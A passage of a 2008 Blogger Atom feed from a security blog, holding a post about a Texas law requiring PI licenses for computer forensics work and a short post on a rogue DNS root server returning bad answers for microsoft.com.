href="http://www.ij.org/first_amendment/tx_computer_repair/6_26_08pr.html"&gt;the IJ press release&lt;/a&gt;, which &lt;i&gt;might&lt;/i&gt; be the original source.&lt;br /&gt;&lt;br /&gt;Holy hell. And nobody has even mentioned &lt;i&gt;which&lt;/i&gt; new law we're talking about here, including the IJ.&lt;br /&gt;&lt;br /&gt;Attention real journalists: Cite your damn sources. Sheesh.&lt;br /&gt;&lt;br /&gt;Attention press release writers: Cite the law, please, so I don't have to paw around for that, too. I am very, very lazy.&lt;br /&gt;&lt;br /&gt;Attention Mike Rife, owner of PCTech: If you're going to complain about getting a PI license, maybe you should &lt;a href="http://www.ij.org/images/clients/economic_liberty/tx_computer/m-rife_4846.jpg"&gt;button your shirt&lt;/a&gt; before you get mistaken for &lt;a href="http://www.hawianshirts.net/Men%27s-cotton/jungle%20bird%20magnum.jpg"&gt;a real fake PI&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Update&lt;/b&gt;: Found it. My laziness was vanquished. &lt;a href="http://postprocess.wordpress.com/2007/07/17/will-lit-support-vendors-need-a-pi-license-in-texas/"&gt;Here is a writeup of the legislative text&lt;/a&gt;, thanks to some blog called "Post Process." Presumably, these guys are involved in forensics.&lt;br /&gt;&lt;br /&gt;NB: Of all the people I know who practice network forensics in Texas (myself included), approximately zero percent hold a PI license, and the pre-2007 text seems to imply that all we &lt;a href="http://www.giac.org/certifications/security/gcia.php"&gt;Intrusion Analysts&lt;/a&gt; need a special Texas license, too. IOW, this sounds awfully unenforced, if not unenforceable.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20075889-2490202762730661008?l=www.planb-security.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/2490202762730661008/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=20075889&amp;postID=2490202762730661008' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/2490202762730661008'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/2490202762730661008'/><link rel='alternate' type='text/html' href='http://www.planb-security.net/2008/06/computer-journalism-rathole.html' title='Computer Journalism Rathole'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='12384835220122498606'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20075889.post-3963061425008228541</id><published>2008-06-10T14:23:00.004-05:00</published><updated>2008-06-18T16:07:23.612-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mitm spoof'/><title type='text'>Microsoft defaced... sort of</title><content type='html'>Well, you don't see that every day:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.planb-security.net/msft40.png"&gt;&lt;img src="http://www.planb-security.net/msft40.png" width=66%&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The working theory is that there's a new root name server in town, which has taken over the old IP address of the "L" root (story &lt;a href="http://www.renesys.com/blog/2008/05/identity_theft_hits_the_root_n_1.shtml"&gt;here&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;And it's returning bad information for, among other sites, www.microsoft.com.&lt;br /&gt;&lt;br /&gt;On Microsoft Tuesday.&lt;br /&gt;&lt;br /&gt;Isn't that sweet?&lt;br /&gt;&lt;br /&gt;You may want to remove any reference to the old-and-busted address of L on your network. If you're an end user, it looks like &lt;a href="http://opendns.org"&gt;OpenDNS&lt;/a&gt; has done this for you.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20075889-3963061425008228541?l=www.planb-security.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/3963061425008228541/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=20075889&amp;postID=3963061425008228541' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/3963061425008228541'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/3963061425008228541'/><link rel='alternate' type='text/html' href='http://www.planb-security.net/2008/06/microsoft-defaced-sort-of.html' title='Microsoft defaced... sort of'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='12384835220122498606'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry></feed>